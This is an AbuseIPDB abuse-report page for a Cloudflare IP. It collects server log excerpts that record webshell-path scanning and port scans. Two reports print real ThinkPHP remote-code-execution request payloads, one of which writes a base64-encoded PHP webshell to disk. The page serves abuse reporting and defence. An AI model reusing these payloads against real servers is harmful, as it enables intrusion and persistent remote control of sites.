JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 172.68.211.76

172.68.211.76 was found in our database!

This IP was reported 43 times. Confidence of Abuse is 0%: ?

ISP	Cloudflare, Inc.
Usage Type	Data Center/Web Hosting/Transit
ASN	AS13335
Domain Name	cloudflare.com
Country	🇭🇰 Hong Kong
City	Hong Kong

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Important Note: 172.68.211.76 is an IP address from within our whitelist belonging to the subnet 172.64.0.0/13, which we identify as: "Cloudflare Reverse Proxy".

Whitelisted netblocks are typically owned by trusted entities, such as Google or Microsoft who may use them for search engine spiders. However, these same entities sometimes also provide cloud servers and mail services which are easily abused. Pay special attention when trusting or distrusting these IPs.

Report 172.68.211.76

Whois 172.68.211.76

IP Abuse Reports for 172.68.211.76:

This IP address has been reported a total of 43 times from 14 distinct sources. 172.68.211.76 was first reported on December 21st 2024, and the most recent report was 1 month ago.

Old Reports: The most recent abuse report for this IP address is from 1 month ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇫🇷 Campus France	2026-04-14 16:57:30 (1 month ago)	[Tue Apr 14 18:57:28.105042 2026] [php:error] [pid 211791] [client 172.68.211.76:12353] script '/var ... show more [Tue Apr 14 18:57:28.105042 2026] [php:error] [pid 211791] [client 172.68.211.76:12353] script '/var/www/html/pages.php' not found or unable to stat [Tue Apr 14 18:57:28.895249 2026] [php:error] [pid 211791] [client 172.68.211.76:12353] script '/var/www/html/mah.php' not found or unable to stat [Tue Apr 14 18:57:29.106767 2026] [php:error] [pid 211791] [client 172.68.211.76:12353] script '/var/www/html/lock360.php' not found or unable to stat [Tue Apr 14 18:57:29.326366 2026] [php:error] [pid 211791] [client 172.68.211.76:12353] script '/var/www/html/error.php' not found or unable to stat [Tue Apr 14 18:57:29.899058 2026] [php:error] [pid 211791] [client 172.68.211.76:12353] script '/var/www/html/wp-links-opml.php' not found or unable to stat ... show less	Brute-Force Web App Attack
🇬🇧 pinguin	2026-04-14 02:42:03 (1 month ago)	Triggered Cloudflare WAF (firewallManaged) from HK. Action taken: LOG Protocol: HTTP/2 (GET method) ... show more Triggered Cloudflare WAF (firewallManaged) from HK. Action taken: LOG Protocol: HTTP/2 (GET method) Endpoint: /_next/static/env.js UA: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 This report was generated by: https://github.com/sefinek/Cloudflare-WAF-To-AbuseIPDB show less	Bad Web Bot
🇬🇧 no1knows.com	2026-02-12 23:32:54 (3 months ago)	2026/02/12 23:32:30 [error] 3053405#3053405: 62737 FastCGI sent in stderr: "Primary script unknown" ... show more 2026/02/12 23:32:30 [error] 3053405#3053405: 62737 FastCGI sent in stderr: "Primary script unknown" while reading response header from upstream, client: 172.68.211.76, server: ldn.no1knows.com, request: "GET /user/reg.php HTTP/1.1", upstream: "fastcgi://unix:/run/php-fpm/www.sock:", host: "no1knows.com", referrer: "http://no1knows.com/user/reg.php" 2026/02/12 23:32:49 [error] 3053405#3053405: 62737 FastCGI sent in stderr: "Primary script unknown" while reading response header from upstream, client: 172.68.211.76, server: ldn.no1knows.com, request: "GET /user/reg.php HTTP/1.1", upstream: "fastcgi://unix:/run/php-fpm/www.sock:", host: "no1knows.com", referrer: "https://no1knows.com/user/reg.php" 2026/02/12 23:32:51 [error] 3053405#3053405: 62737 FastCGI sent in stderr: "Primary script unknown" while reading response header from upstream, client: 172.68.211.76, server: ldn.no1knows.com, request: "GET /queryVersion.php HTTP/1.1", upstream: "fastcgi://unix:/run/php-fpm/www.sock:", host: ... show less	Brute-Force Bad Web Bot
🇺🇦 URAN Publishing Service	2026-01-20 21:02:23 (4 months ago)	172.68.211.76 - - [20/Jan/2026:23:02:22 +0200] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 40 ... show more 172.68.211.76 - - [20/Jan/2026:23:02:22 +0200] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 404 359 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 172.68.211.76 - - [20/Jan/2026:23:02:23 +0200] "GET /wp-admin/images/admin.php HTTP/1.1" 404 359 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ... show less	Web App Attack
🇫🇷 Campus France	2025-12-27 13:39:02 (5 months ago)	[Sat Dec 27 14:39:00.966316 2025] [php:error] [pid 3679308] [client 172.68.211.76:13154] script '/va ... show more [Sat Dec 27 14:39:00.966316 2025] [php:error] [pid 3679308] [client 172.68.211.76:13154] script '/var/www/html/bolt.php' not found or unable to stat, referer: https://www.yahoo.com/ [Sat Dec 27 14:39:01.169194 2025] [php:error] [pid 3679308] [client 172.68.211.76:13154] script '/var/www/html/1.php' not found or unable to stat, referer: https://duckduckgo.com/ [Sat Dec 27 14:39:01.372871 2025] [php:error] [pid 3679308] [client 172.68.211.76:13154] script '/var/www/html/aa.php' not found or unable to stat, referer: https://www.yahoo.com/ [Sat Dec 27 14:39:01.577140 2025] [php:error] [pid 3679308] [client 172.68.211.76:13154] script '/var/www/html/abcd.php' not found or unable to stat, referer: https://www.bing.com/ [Sat Dec 27 14:39:01.783920 2025] [php:error] [pid 3679308] [client 172.68.211.76:13154] script '/var/www/html/about.php' not found or unable to stat, referer: https://www.google.de/ ... show less	Brute-Force Web App Attack
🇬🇧 no1knows.com	2025-12-09 16:46:54 (5 months ago)	2025/12/09 16:46:47 [error] 1835786#1835786: 212018 FastCGI sent in stderr: "Primary script unknown ... show more 2025/12/09 16:46:47 [error] 1835786#1835786: 212018 FastCGI sent in stderr: "Primary script unknown" while reading response header from upstream, client: 172.68.211.76, server: _, request: "GET /wp-admin/css/colors/ocean/about.php HTTP/1.1", upstream: "fastcgi://unix:/run/php-fpm/www.sock:", host: "no1knows.com", referrer: "https://www.google.fr/" 2025/12/09 16:46:52 [error] 1835786#1835786: 212018 FastCGI sent in stderr: "Primary script unknown" while reading response header from upstream, client: 172.68.211.76, server: _, request: "GET /wp-includes/assets/about.php HTTP/1.1", upstream: "fastcgi://unix:/run/php-fpm/www.sock:", host: "no1knows.com", referrer: "https://www.google.com/" 2025/12/09 16:46:52 [error] 1835786#1835786: 212018 FastCGI sent in stderr: "Primary script unknown" while reading response header from upstream, client: 172.68.211.76, server: _, request: "GET /wp-includes/bk/index.php HTTP/1.1", upstream: "fastcgi://unix:/run/php-fpm/www.sock:", host: "no1knows.com", ... show less	Brute-Force Bad Web Bot
🇫🇷 Campus France	2025-12-07 07:09:07 (5 months ago)	[Sun Dec 07 08:09:05.742570 2025] [php:error] [pid 2605725] [client 172.68.211.76:12022] script '/va ... show more [Sun Dec 07 08:09:05.742570 2025] [php:error] [pid 2605725] [client 172.68.211.76:12022] script '/var/www/html/api.php' not found or unable to stat, referer: https://www.google.de/ [Sun Dec 07 08:09:06.106206 2025] [php:error] [pid 2605725] [client 172.68.211.76:12022] script '/var/www/html/bless.php' not found or unable to stat, referer: https://www.yahoo.com/ [Sun Dec 07 08:09:06.473227 2025] [php:error] [pid 2605725] [client 172.68.211.76:12022] script '/var/www/html/classwithtostring.php' not found or unable to stat, referer: https://www.yahoo.com/ [Sun Dec 07 08:09:06.658100 2025] [php:error] [pid 2605725] [client 172.68.211.76:12022] script '/var/www/html/edit.php' not found or unable to stat, referer: https://www.google.de/ [Sun Dec 07 08:09:06.872747 2025] [php:error] [pid 2605725] [client 172.68.211.76:12022] script '/var/www/html/file.php' not found or unable to stat, referer: https://www.google.co.uk/ ... show less	Brute-Force Web App Attack
🇸🇬 drewf.ink	2025-12-06 13:17:41 (5 months ago)	[13:17] Port scanning. Port(s) scanned: TCP/8443	Port Scan
🇺🇸 AbuseIPDB AbuseIPDB Official	2025-08-28 19:12:32 (9 months ago)	Suspicious Operation. Request content: _method=__construct&method=GET&filter[]=think\__include_file& ... show more Suspicious Operation. Request content: _method=__construct&method=GET&filter[]=think\__include_file&get[]=/tmp/sess_zkj4alqbyfkez2i3l9erwqlkq&server[]=1 show less	Web App Attack
🇺🇸 AbuseIPDB AbuseIPDB Official	2025-07-29 11:04:07 (10 months ago)	Suspicious Operation. Request content: s=file_put_contents('otfi.php',base64_decode('R2lmODlhPD9waHA ... show more Suspicious Operation. Request content: s=file_put_contents('otfi.php',base64_decode('R2lmODlhPD9waHAKY2xhc3MgXwp7CiAgICBzdGF0aWMgcHVibGljICRwaHBjbXM9TnVsbDsKICAgIGZ1bmN0aW9uIF9fY29uc3RydWN0KCRsPSJlcnJvciIpewogICAgICAgIHNlbGY6OiRwaHBjbXM9JGw7CiAgICAgICAgQGV2YWwvKkRlZmluaW5nIGVycm9yIGxldmVsIG9mZmVuY2VzKi8obnVsbC5udWxsLnNlbGY6OiRwaHBjbXMpOwogICAgfQp9CmZ1bmN0aW9uIGhleFRvU3RyKCRoZXgpeyAgIAogICAgICAgICRzdHI9IiI7IAogICAgICAgIGZvcigkaT0wOyRpPHN0cmxlbigkaGV4KS0xOyRpKz0yKQogICAgICAgICRzdHIuPWNocihoZXhkZWMoJGhleFskaV0uJGhleFskaSsxXSkpOwogICAgICAgIHJldHVybiAgJHN0cjsKICAgIH0gCiRlcnJvciA9IG51bGwuaGV4VG9TdHIoQCRfUE9TVC8qXCovWyJ4aXNlIl0pOwokZCA9IG5ldyBfKCRlcnJvcik7Cj8%2B'))&_method=__construct&method=POST&filter[]=assert show less	Web App Attack
🇨🇳 ThreatBook.io	2025-06-28 23:47:27 (11 months ago)	2025-06-28 01:21:02 /wx/static/css/style.css	Web App Attack
🇺🇸 mawan	2025-06-25 17:24:51 (11 months ago)	Suspected of having performed illicit activity on LAX server.	Web App Attack
🇨🇳 ThreatBook.io	2025-06-05 23:33:42 (11 months ago)	2025-06-05 03:49:32 /Content/favicon.ico	Web App Attack
🇺🇸 TPI-Abuse	2025-06-05 13:18:48 (11 months ago)	(mod_security) mod_security (id:240335) triggered by 172.68.211.76 (-): 1 in the last 300 secs; Port ... show more (mod_security) mod_security (id:240335) triggered by 172.68.211.76 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Thu Jun 05 09:18:41.370818 2025] [security2:error] [pid 2190766:tid 2190766] [client 172.68.211.76:44392] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at IP. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)\|Source 27.110.185.2 (+1 hits since last alert)\|upskirtcrazy.com\|F\|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "upskirtcrazy.com"] [uri "/xmlrpc.php"] [unique_id "aEGZMUmZWY04Gz7GUeA6VgAAAAw"] show less	Brute-Force Bad Web Bot Web App Attack
🇨🇳 ThreatBook.io	2025-06-03 00:15:47 (1 year ago)	2025-06-02 04:38:49 /static/wap/css/tipmask.css	Web App Attack

Showing 1 to 15 of 43 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇨🇳 183.236.75.189

🇸🇬 103.250.11.116

🇮🇩 103.98.176.164

🇨🇳 61.178.24.146

🇬🇧 35.203.211.72

🇺🇸 195.184.76.203

🇺🇸 195.184.76.132

🇸🇬 68.183.234.194

🇺🇸 44.219.147.190

🇸🇨 41.86.34.139

🇰🇷 14.49.197.174

🇨🇳 1.197.102.62

🇬🇧 193.163.125.166

🇹🇼 165.154.227.158

🇳🇱 159.223.213.49

🇹🇷 154.206.66.178

🇳🇱 45.148.10.240

🇨🇳 220.250.52.75

🇳🇱 178.16.54.246

🇩🇪 167.94.146.63